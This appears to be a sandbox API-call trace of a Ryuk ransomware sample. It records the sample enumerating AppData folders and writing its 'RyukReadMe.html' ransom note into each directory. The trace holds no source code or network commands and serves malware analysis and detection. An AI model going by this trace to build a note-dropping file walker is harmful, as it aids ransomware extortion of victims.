	[0208.936] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0208.936] GetLastError () returned 0xb7
	[0208.936] CloseHandle (hObject=0x5cc) returned 1
	[0208.936] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.939] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.939] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0208.939] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.939] SetLastError (dwErrCode=0x0) 
	[0208.939] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.939] GetLastError () returned 0x3
	[0208.939] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0208.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.940] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0208.940] SetLastError (dwErrCode=0x0) 
	[0208.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0208.940] GetLastError () returned 0xb7
	[0208.940] CloseHandle (hObject=0x5cc) returned 1
	[0208.940] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.946] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.946] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x200, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0208.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0208.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0208.949] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.950] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0208.950] SetLastError (dwErrCode=0x0) 
	[0208.950] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.950] GetLastError () returned 0x3
	[0208.950] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.951] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x20e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.951] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.951] SetLastError (dwErrCode=0x0) 
	[0208.951] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.951] GetLastError () returned 0x3
	[0208.951] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.951] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0208.951] SetLastError (dwErrCode=0x0) 
	[0208.952] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.952] GetLastError () returned 0x3
	[0208.952] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.952] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.952] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x20e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.952] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.952] SetLastError (dwErrCode=0x0) 
	[0208.952] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.952] GetLastError () returned 0x3
	[0208.952] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.953] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0208.953] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.955] SetLastError (dwErrCode=0x0) 
	[0208.955] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.956] GetLastError () returned 0x3
	[0208.956] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0208.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.956] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0208.956] SetLastError (dwErrCode=0x0) 
	[0208.956] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0208.957] GetLastError () returned 0xb7
	[0208.957] CloseHandle (hObject=0x5cc) returned 1
	[0208.957] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.499] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.499] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0209.499] SetLastError (dwErrCode=0x0) 
	[0209.499] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.499] GetLastError () returned 0x3
	[0209.499] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.500] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.500] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.500] SetLastError (dwErrCode=0x0) 
	[0209.500] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.500] GetLastError () returned 0x3
	[0209.500] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.500] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0209.500] SetLastError (dwErrCode=0x0) 
	[0209.501] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.501] GetLastError () returned 0x3
	[0209.501] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.501] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.501] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.501] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.501] SetLastError (dwErrCode=0x0) 
	[0209.501] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.501] GetLastError () returned 0x3
	[0209.501] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.502] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0209.502] SetLastError (dwErrCode=0x0) 
